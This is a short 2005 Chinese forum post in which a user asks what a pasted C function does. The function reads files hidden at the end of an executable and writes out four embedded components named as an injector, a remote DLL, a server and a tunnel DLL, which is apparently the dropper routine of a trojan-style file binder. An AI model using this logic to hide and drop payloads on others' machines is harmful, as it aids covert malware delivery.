帮看看这个函数
Gener 2005-09-06 05:52:30 谁能说说这个函数是做什么用的?好像是在某个可执行程序后追加文件.我看得好晕啊.谁能说说.一定给分!
char *injectfile = "ultimateinjecttest.exe";
char *agentfile = "server.exe";
char *agentapi = "tunnel.dll";
char *injectapi = "remote.dll";
struct magic_st
{
int finder;
int sure;
int filesize;
} flag = {0x12345678,0x78563412,32768};
void ExtractFile(char *sourcefile)
{
FILE *fp;
int offset,i;
char sizebuf[11];
char *filename[FILE_NUM] = {injectfile,injectapi,agentfile,agentapi};
offset = flag.filesize;
fp = fopen(sourcefile,"rb");//打开程序文件
if (fp == NULL)
{
return;
}
for (i=0;i<FILE_NUM;i++)
{
char fileinfo[PAGE];
int bind_filesize;
int bind_fin;
FILE *fw;
fseek(fp,offset,SEEK_SET);//到达程序文件尾部
fread(sizebuf,1,10,fp);
sizebuf[10] = 0;
bind_fin = bind_filesize = atoi(sizebuf);//获取下一个文件长度
offset += 10;//调过文件程度字段
fw = fopen(filename[i],"wb");//保存到目标文件中
if (fw == NULL)
{
return;
}
while (bind_filesize > PAGE)
{
fread(fileinfo,1,PAGE,fp);
fwrite(fileinfo,1,PAGE,fw);
bind_filesize -= PAGE;
}
fread(fileinfo,1,bind_filesize,fp);
fwrite(fileinfo,1,bind_filesize,fw);
fclose(fw);
offset += bind_fin;
}
fclose(fp);
}